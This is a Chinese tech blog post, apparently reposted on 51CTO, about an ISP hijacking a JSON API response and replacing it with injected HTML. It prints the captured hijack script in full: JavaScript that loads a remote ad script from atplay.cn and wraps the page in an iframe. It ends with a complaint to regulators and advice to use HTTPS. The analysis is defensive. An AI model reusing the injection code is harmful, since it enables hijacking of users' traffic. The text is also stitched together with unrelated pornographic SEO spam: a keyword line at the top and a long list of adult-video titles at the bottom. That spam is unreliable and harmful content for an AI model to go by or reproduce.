精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

運營商劫持狠起來,連Json都改

網絡 通信技術
運營商劫持,是常見的流氓手段,它們老少通吃,連孩子都不放過,經常囂張的在右下角或者網頁頭尾,彈出一些羞羞的廣告。這讓正在輔導孩子功課的媽媽,很難解釋。

 運營商劫持,是常見的流氓手段,它們老少通吃,連孩子都不放過,經常囂張的在右下角或者網頁頭尾,彈出一些羞羞的廣告。這讓正在輔導孩子功課的媽媽,很難解釋。

[[280817]]

一、前言

一道經典面試題:當你輸入一個網址后回車,實際會發生什么?

那得看輸的啥網址,淘寶剁手、百度傷身、騰訊傷腎……

二、神秘的返回

那日風和日麗、萬里無云,延遲退到不足50ms,是個散養爬蟲的好日子~

 

與往常相同,一通風騷操作,數據便如百川入海般成功落庫。剛想泡杯咖啡,瞧瞧久違的天空,一道綿長的報錯信息就宛如拉稀般潑向屏幕!

草(一種植物),莫不是被發現了?趕緊看看

 

草!(一種強大植物) 。這是個啥?原以為會返回異常狀態碼,或者錯誤json,再不濟是偽數據,沒想到連數據格式都改了,整了一HTML丟過來?

可這接口,明明都是json。

喝口白水想安撫下結果燙了嘴……思前想后。產品光喝酒不吃菜也不能下這需求,再說我這小蚊子不至于拿炮轟吧。

一定 有!——問!——題!

暴起撈日志,查看頻率。大約10道請求有一道異常,于是順手拿到全部HTML代碼。讓我們學習一下…

  1. <html> 
  2.   <head> 
  3.     <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
  4.     <meta id="viewport" name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"
  5.   </head> 
  6.   <script> 
  7.     window["$$$wins_pm"] = { 
  8.         "a""https://atplay.cn/banner/indexsd.aspx"
  9.         "m""http://baidu.com/"
  10.         "_xus""YBsOw1mgMPSOdBFpMBFjYBQjMZSjMBsXM3gO"
  11.         "_xai""0" 
  12.     }; 
  13.  
  14.     var xp=null,key="d=123",lo=location.href,ho=false
  15.     function cu(u){ 
  16.         var p=u.indexOf("?"); 
  17.         if(p>0) 
  18.             u=u.slice(0,p+1)+key+"&"+u.slice(p+1); 
  19.         else 
  20.             u+="?"+key
  21.         return u; 
  22.  
  23.     } 
  24.  
  25.     function Base64() { 
  26.         _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
  27.         this.encode = function(input) { 
  28.             var output = ""
  29.             var chr1, chr2, chr3, enc1, enc2, enc3, enc4; 
  30.             var i = 0; 
  31.             input = _utf8_encode(input); 
  32.             while (i < input.length) { 
  33.                 chr1 = input.charCodeAt(i++); 
  34.                 chr2 = input.charCodeAt(i++); 
  35.                 chr3 = input.charCodeAt(i++); 
  36.                 enc1 = chr1 >> 2; 
  37.                 enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); 
  38.                 enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); 
  39.                 enc4 = chr3 & 63; 
  40.                 if (isNaN(chr2)) { 
  41.                     enc3 = enc4 = 64 
  42.                 } else if (isNaN(chr3)) { 
  43.                     enc4 = 64 
  44.                 } 
  45.                 output = output + _keyStr.charAt(enc1) + _keyStr.charAt(enc2) + _keyStr.charAt(enc3) + _keyStr.charAt(enc4) 
  46.             } 
  47.             return output 
  48.         }; 
  49.         this.decode = function(input) { 
  50.             var output = ""
  51.             var chr1, chr2, chr3; 
  52.             var enc1, enc2, enc3, enc4; 
  53.             var i = 0; 
  54.             input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); 
  55.             while (i < input.length) { 
  56.                 enc1 = _keyStr.indexOf(input.charAt(i++)); 
  57.                 enc2 = _keyStr.indexOf(input.charAt(i++)); 
  58.                 enc3 = _keyStr.indexOf(input.charAt(i++)); 
  59.                 enc4 = _keyStr.indexOf(input.charAt(i++)); 
  60.                 chr1 = (enc1 << 2) | (enc2 >> 4); 
  61.                 chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); 
  62.                 chr3 = ((enc3 & 3) << 6) | enc4; 
  63.                 output = output + String.fromCharCode(chr1); 
  64.                 if (enc3 != 64) { 
  65.                     output = output + String.fromCharCode(chr2) 
  66.                 } 
  67.                 if (enc4 != 64) { 
  68.                     output = output + String.fromCharCode(chr3) 
  69.                 } 
  70.             } 
  71.             output = _utf8_decode(output); 
  72.             return output 
  73.         }; 
  74.         _utf8_encode = function(string) { 
  75.             string = string.replace(/\r\n/g, "\n"); 
  76.             var utftext = ""
  77.             for (var n = 0; n < string.length; n++) { 
  78.                 var c = string.charCodeAt(n); 
  79.                 if (c < 128) { 
  80.                     utftext += String.fromCharCode(c) 
  81.                 } else if ((c > 127) && (c < 2048)) { 
  82.                     utftext += String.fromCharCode((c >> 6) | 192); 
  83.                     utftext += String.fromCharCode((c & 63) | 128) 
  84.                 } else { 
  85.                     utftext += String.fromCharCode((c >> 12) | 224); 
  86.                     utftext += String.fromCharCode(((c >> 6) & 63) | 128); 
  87.                     utftext += String.fromCharCode((c & 63) | 128) 
  88.                 } 
  89.             } 
  90.             return utftext 
  91.         }; 
  92.         _utf8_decode = function(utftext) { 
  93.             var string = ""
  94.             var i = 0; 
  95.             var c = c1 = c2 = 0; 
  96.             while (i < utftext.length) { 
  97.                 c = utftext.charCodeAt(i); 
  98.                 if (c < 128) { 
  99.                     string += String.fromCharCode(c); 
  100.                     i++ 
  101.                 } else if ((c > 191) && (c < 224)) { 
  102.                     c2 = utftext.charCodeAt(i + 1); 
  103.                     string += String.fromCharCode(((c & 31) << 6) | (c2 & 63)); 
  104.                     i += 2 
  105.                 } else { 
  106.                     c2 = utftext.charCodeAt(i + 1); 
  107.                     c3 = utftext.charCodeAt(i + 2); 
  108.                     string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63)); 
  109.                     i += 3 
  110.                 } 
  111.             } 
  112.             return string 
  113.         } 
  114.     } 
  115.     window["__BASE64"] = new Base64(); 
  116.  
  117.     function getURLwithParams() { 
  118.         var url = ""
  119.         if ($$$wins_pm.a.indexOf('?') > 0) { 
  120.             url = $$$wins_pm.a + "&_us=" + $$$wins_pm._xus + "&_su=" + __BASE64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai; 
  121.         } else { 
  122.             url = $$$wins_pm.a + "?_us=" + $$$wins_pm._xus + "&_su=" + __BASE64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai; 
  123.         } 
  124.         return url; 
  125.     } 
  126.     function goURLm() { 
  127.         var desturl = $$$wins_pm.m; 
  128.         if (desturl.slice(desturl.length - 1) == "/") desturl = desturl.slice(0, desturl.length - 1); 
  129.         return "<html></head><script>document.location.replace(\"" + desturl + "\");<\/script><\/html>" 
  130.     }; 
  131.     </script> 
  132.   <body style="margin:0;padding:0;"
  133.     <!--<div style="display: none;"><script src="https://s6.cnzz.com/z_stat.php?id=722749&web_id=722749" language="JavaScript"></script></div>--> 
  134.     <script type="text/javascript" src="https://atplay.cn/banner/indexsd.js"></script> 
  135.     <div style="width:100%;height:100%;-webkit-overflow-scrolling:touch;overflow-y:scroll;"
  136.     <iframe id='ifrmain' src='JavaScript:parent.goURLm()' scrolling=auto  width='100%'  height='100%' frameborder='no' onload=''></iframe> 
  137.     </div> 
  138. </body> 
  139. </html> 

 

三、真相大白

淦!真相大白,這糟爛的代碼絕不是爬蟲的菜,連地溝油都算不上啊!看這尿性八成是寬帶運營商的手筆,之前訪問個baidu都被套個iframe。但咱是萬萬沒想到啊,這次饑不擇食的連json接口都不放過,還改的這么大,粗,硬!

這就相當于剛出機場想打車到景點,結果上的是一黑車啊,拉著吃飯桑拿大寶劍,掏空錢包就拍地上!

既然確定是黑車,那索性就順勢調起這條傻魚。先看看效果——

 

呵,呵呵,呵呵呵。。。。不出所料。

忍著膈應翻代碼,找到域名,丟whois

 

拿到公司名,丟百度、天眼查,企查查。。。是它,是它沒跑了

 

四、結果?

這種手段,沒有寬帶運營商狼狽為奸,通常是無法完成的。目前家里一條X信,一條X動,經反復測試,只有X動線會出這個問題。。。那事情就很簡單了

工!信!部!投!訴!

坐標:https://dxss.miit.gov.cn/

 

 

 

 

風波過去又是睛空萬里,但這——恐怕永遠不會是最后一次。

五、我的網站該怎么辦?

你搞一下劫持,無可厚非,畢竟土壤就是這樣。但是你寫的這劫持bot也太傻了吧,連json格式都搞,讓人家開公司的如何是好。要知道,現在很多服務,都沒有網頁端了,劫持程序該升下級了。

曾幾何時,我們的網站,還都是http,這是劫持的最愛。應對的方式,就是全面升級為https,加大劫持難度,保護用戶,也保護自己。

作者簡介:小姐姐味道 (xjjdog),一個不允許程序員走彎路的公眾號。聚焦基礎架構和Linux。十年架構,日百億流量,與你探討高并發世界,給你不一樣的味道。我的個人微信xjjdog0,歡迎添加好友,進一步交流。

責任編輯:武曉燕 來源: 小姐姐味道
相關推薦

2017-01-09 14:17:07

互聯網

2018-04-10 04:58:27

5G運營商網絡

2018-10-08 13:41:01

運營商通信網絡攜號轉網

2016-10-17 19:41:49

2013-02-25 10:53:10

運營商Firefox OS

2014-02-19 11:16:52

虛擬運營商

2018-03-13 06:45:20

2015-07-23 14:01:07

SDN運營商

2009-03-24 10:24:00

GPON運營商光纖接入

2014-10-14 15:53:46

運營商SDN

2018-01-02 11:37:54

2020-12-11 18:49:48

DoHODoH運營商

2014-02-19 10:18:45

虛擬運營商

2011-08-30 09:29:45

云計算移動醫療

2009-03-10 09:42:15

4G融合部署

2021-12-01 08:45:22

元宇宙VR運營商

2012-04-05 13:42:02

2018-10-15 11:17:24

運營商低價中標寬帶網絡

2017-11-21 13:55:16

運營商NFV虛擬化網絡

2021-06-24 09:55:53

運營商中國電信中國移動
點贊
收藏

51CTO技術棧公眾號

男女视频在线| 你懂得视频在线观看| 影音先锋在线视频| 99免费精品视频| 国产国产精品人在线视| 欧美精品日韩在线| 福利欧美精品在线| 欧美在线你懂得| 激情成人开心网| 黄色片在线播放| 国产成人av电影| 国产成人一区二区| 久久免费公开视频| 日韩夫妻性生活xx| 亚洲国产精品va在线| 日韩欧美国产片| 一二三四视频在线中文| 亚洲欧美激情一区二区| 茄子视频成人在线观看| 国内精品国产成人国产三级| 视频一区视频二区中文| 欧美精品videos另类日本| 国产又黄又粗视频| 里番精品3d一二三区| 欧美精三区欧美精三区| 999香蕉视频| 91九色在线播放| 亚洲色图在线播放| 亚洲人成网站在线观看播放| 亚欧在线观看视频| 成人一区二区三区| 亚洲已满18点击进入在线看片 | 亚洲蜜臀av乱码久久精品蜜桃| 久久久久久久有限公司| 亚洲女人18毛片水真多| 国产呦精品一区二区三区网站| 日韩美女免费观看| 天堂а√在线中文在线新版| 亚洲高清在线| 欧美激情视频在线| 九九热这里有精品视频| 久久久9色精品国产一区二区三区| 国产亚洲美女久久| 我和岳m愉情xxxⅹ视频| 欧美亚洲色图校园春色| 亚洲激情在线观看视频免费| 亚州av综合色区无码一区| 9l视频自拍蝌蚪9l视频成人| 欧美大片拔萝卜| 亚洲成人激情小说| 99热这里只有精品首页| 日韩精品一区二区三区蜜臀| 免费人成视频在线播放| 亚洲成av人片在线观看www| 欧美一区二区不卡视频| www激情五月| 91九色鹿精品国产综合久久香蕉| 日韩午夜电影在线观看| 免费欧美一级片| 亚洲综合影院| 精品国产成人在线影院| av黄色一级片| 免费短视频成人日韩| 亚洲人成在线观看网站高清| 91精品国自产在线| 99久久夜色精品国产亚洲1000部| 日韩中文字在线| 国产一区二区播放| 亚洲国产高清一区| 欧美亚洲第一页| 中文字幕乱码一区二区| 久久精品国产久精国产爱| 亚洲r级在线观看| 亚洲老妇色熟女老太| 99国产欧美另类久久久精品| 热re99久久精品国产99热| 中文字幕在线播放| 亚洲精品视频在线看| 青青青在线视频播放| 日本精品免费在线观看| 国产免费黄色网址| 成人国产视频在线观看| 欧美在线视频一区二区三区| 欧洲日本在线| 艳妇臀荡乳欲伦亚洲一区| 国产原创中文在线观看 | 日韩中文字幕一区二区高清99| 国产一区在线视频| 国产精华一区二区三区| 凸凹人妻人人澡人人添| 欧美激情一区三区| 台湾无码一区二区| 欧美大胆性生话| 在线播放国产精品二区一二区四区| 日韩av成人网| 加勒比久久综合| 欧美床上激情在线观看| 男人日女人网站| 韩国理伦片一区二区三区在线播放| 大波视频国产精品久久| 精品乱码一区二区三四区视频| 日韩毛片视频在线看| 国产原创中文在线观看| 欧洲亚洲精品久久久久| 亚洲国产中文字幕在线观看| 国产91在线播放九色| 亚洲激情一区| 成人网欧美在线视频| 瑟瑟在线观看| 一区二区国产盗摄色噜噜| koreanbj精品视频一区| 99精品视频在线免费播放| 国产婷婷97碰碰久久人人蜜臀| 最新av电影网站| 久久资源在线| 国产精品jizz视频| 麻豆tv入口在线看| 91久久精品一区二区三区| 扒开伸进免费视频| 亚洲av无码一区二区三区性色 | 91免费观看国产| 国产成人免费9x9x人网站视频 | 精品久久久久久久久久久久久久久久久久| 日韩精品亚洲专区| 国产欧美日韩一区| 国产成人无吗| 欧美视频一二三区| 国产熟妇搡bbbb搡bbbb| 久久一区91| 亚洲图片欧美日产| 艳妇乳肉亭妇荡乳av| 亚洲精品中文字幕乱码| 国产一区二区久久精品| 日韩在线免费观看av| 99成人超碰| 欧美激情第1页| 99久久国产热无码精品免费| 日本一区二区综合亚洲| 四虎影院一区二区| xx欧美视频| 日韩欧美亚洲国产一区| 欧美色图校园春色| 欧美va久久久噜噜噜久久| 国产成人综合久久| 日本视频www| 国产精品夜夜爽| 裸体裸乳免费看| 九九99久久精品在免费线bt| 久久精彩免费视频| 国产精品欧美亚洲| 亚洲丝袜精品丝袜在线| www.成年人| 一本一本久久a久久综合精品| 成人高清视频观看www| 嫩草香蕉在线91一二三区| 欧美午夜片在线看| 免费看的黄色录像| 国产在线看一区| 欧美视频在线第一页| 午夜精品在线| 久久人91精品久久久久久不卡| 亚洲av永久纯肉无码精品动漫| 亚洲激情六月丁香| 在线观看免费视频黄| 亚洲啪啪91| 久久综合九色99| 秋霞国产精品| 中文字幕无线精品亚洲乱码一区| 在线播放成人av| 亚洲日本韩国一区| 怡红院一区二区| 免费看的黄色欧美网站| 先锋影音一区二区三区| 99久久久国产| 久久久久久国产免费 | 视频精品导航| yw.139尤物在线精品视频| 国产高清免费在线观看| 午夜精品福利一区二区蜜股av| 国产精品探花一区二区在线观看| 一区二区三区中文| 国产精品久久7| 偷拍视频一区二区三区| 日韩在线视频免费观看| 亚洲AV午夜精品| 在线视频一区二区免费| 精品国产精品国产精品| jvid福利写真一区二区三区| 日韩在线视频线视频免费网站| www亚洲色图| 国产一区二区三区综合| 可以在线看的av网站| 欧美理论视频| 成人av中文| 国产另类xxxxhd高清| 久久国产天堂福利天堂| 婷婷色在线观看| 在线电影欧美成精品| 九九热国产视频| 国产精品沙发午睡系列990531| 国产乱淫av片| 日本亚洲视频在线| 激情小视频网站| 日韩精品欧美| 精品一区在线播放| 麻豆精品一区| 国产精品久久久久久久电影| 爱情岛论坛亚洲品质自拍视频网站| 亚洲精品视频网上网址在线观看| 国产黄色小视频在线观看| 91国偷自产一区二区开放时间| 中文字幕电影av| 国产午夜精品福利| 精品国产av色一区二区深夜久久 | 在线观看日韩av电影| 亚洲三区视频| 蜜桃精品噜噜噜成人av| 国产一区二区免费电影| 麻豆国产一区| 91亚洲精品一区| av在线播放一区| 日韩av黄色在线观看| 超碰99在线| 久久久久久有精品国产| 中文字幕中文字幕在线十八区 | 成人免费a视频| 亚洲一区二区三区四区不卡| 国产探花在线视频| 国产精品天天看| 四虎成人免费影院| 久久人人超碰精品| 久久久久久久无码| 成人黄色大片在线观看| 妖精视频在线观看| 国产精品一区二区无线| 国产精品第1页| 激情综合网五月天| 国产精品乱人伦| 大又大又粗又硬又爽少妇毛片| 成人免费看的视频| 91精品啪在线观看国产| 国产69精品久久99不卡| 香蕉视频免费网站| 成人黄色综合网站| 亚洲av成人片色在线观看高潮 | 精品一区二区在线观看| 成人日韩在线视频| 精品一区二区三区蜜桃| 天天综合天天添夜夜添狠狠添| 精品一区二区日韩| 日韩a一级欧美一级| 国产美女精品人人做人人爽| 国产一级片中文字幕| 国产成人a级片| 美女伦理水蜜桃4| 91视频国产观看| 无码熟妇人妻av| 亚洲国产成人一区二区三区| 亚洲图片第一页| 亚洲美女视频在线| 久久这里只有精品国产| 精品欧美国产一区二区三区| 五月婷婷激情视频| 欧美日韩夫妻久久| 朝桐光av在线一区二区三区| 亚洲国产精品va在看黑人| 男同在线观看| 精品国产区一区二区三区在线观看| 黄色免费在线看| 久久久久久91| 日本一区免费网站| 亚洲字幕一区二区| 台湾色综合娱乐中文网| 亚洲成人精品电影在线观看| 综合天堂久久久久久久| 女人天堂av手机在线| 日本欧美一区二区在线观看| www.桃色.com| 99久久精品免费精品国产| 国产伦理片在线观看| 亚洲色欲色欲www| 亚洲免费在线观看av| 精品视频在线视频| 日本免费一区视频| 色综久久综合桃花网| 高h视频在线播放| 国产精品欧美风情| 亚洲精品v亚洲精品v日韩精品| 麻豆传媒一区二区| 亚洲精品一区二区妖精| 欧美a在线视频| 国产又黄又大久久| av黄色免费网站| 夜夜嗨av一区二区三区四季av| 亚洲精品成人在线视频| 91精品国产综合久久精品app| 国产又爽又黄网站亚洲视频123| 色视频www在线播放国产成人| 成人性生交大片免费看在线播放| 国产精品夜间视频香蕉| 精品福利一区| 97超碰人人爱| 日韩av中文在线观看| 小毛片在线观看| 伊人色综合久久天天| 日批视频免费观看| 日韩av在线免费看| 91网在线看| 国产欧美va欧美va香蕉在线| 秋霞影视一区二区三区| 欧美日韩午夜爽爽| 蜜臀av性久久久久蜜臀aⅴ流畅| 在线观看国产三级| 亚洲韩国一区二区三区| 国产麻豆一精品一男同| 国产一区二区三区在线观看视频| xxx.xxx欧美| 91麻豆精品秘密入口| 99精品综合| 午夜国产一区二区三区| 久久欧美一区二区| 国产黄色片免费看| 亚洲丁香婷深爱综合| 中文字幕伦理免费在线视频 | 亚洲国产精品精华液ab| 欧美亚洲精品天堂| 亚洲第一区第一页| 久草在线资源站资源站| 亚洲最大福利视频网站| 99久精品视频在线观看视频| 麻豆一区二区三区视频| 久久久精品中文字幕麻豆发布| 韩国av免费观看| 亚洲国产成人精品电影| 国产精品电影| 九色91在线视频| 国产精品主播| 欧美特级黄色录像| 色天使久久综合网天天| 九色在线播放| 日本精品免费一区二区三区| 女厕嘘嘘一区二区在线播放| 777久久久精品一区二区三区 | 久久精品国产综合精品| 亚洲人成高清| 精品人妻一区二区三区香蕉| 欧美日韩午夜剧场| 欧美日韩在线中文字幕| 国产成人极品视频| 日韩精品首页| 想看黄色一级片| 亚洲精品成人精品456| 性一交一乱一透一a级| 欧美激情国内偷拍| 欧美巨大xxxx| 在线免费视频a| 一区二区中文视频| 草草视频在线播放| 97涩涩爰在线观看亚洲| 外国成人在线视频| 亚洲色图38p| 亚洲欧洲精品一区二区精品久久久| 国产伦精品一区二区三区视频痴汉| 久久夜色精品国产| 国产成人av毛片| 男人亚洲天堂网| 国产精品成人免费| 亚洲免费国产视频| 国产成人av网| 欧美va天堂| 特大黑人巨人吊xxxx| 欧美三级一区二区| 91国内在线| 免费日韩电影在线观看| 另类调教123区| 国产小视频在线观看免费| 精品亚洲夜色av98在线观看| 麻豆久久久久| 男的插女的下面视频| 国产日韩精品一区二区三区| 国产乱淫a∨片免费视频| 午夜免费日韩视频| 久久综合99| 日本黄色录像片| 欧美麻豆精品久久久久久| www.51av欧美视频| 亚洲制服欧美久久| 99精品久久99久久久久| 国产一区二区三区三州| 欧美亚洲视频在线观看| 9191国语精品高清在线| 欧美熟妇一区二区| 日韩欧美国产一二三区| 亚洲电影有码| 国产毛片久久久久久国产毛片| 国产日韩欧美激情| 人妻视频一区二区三区| 成人激情在线观看| 免费在线亚洲| 精品无码一区二区三区电影桃花 |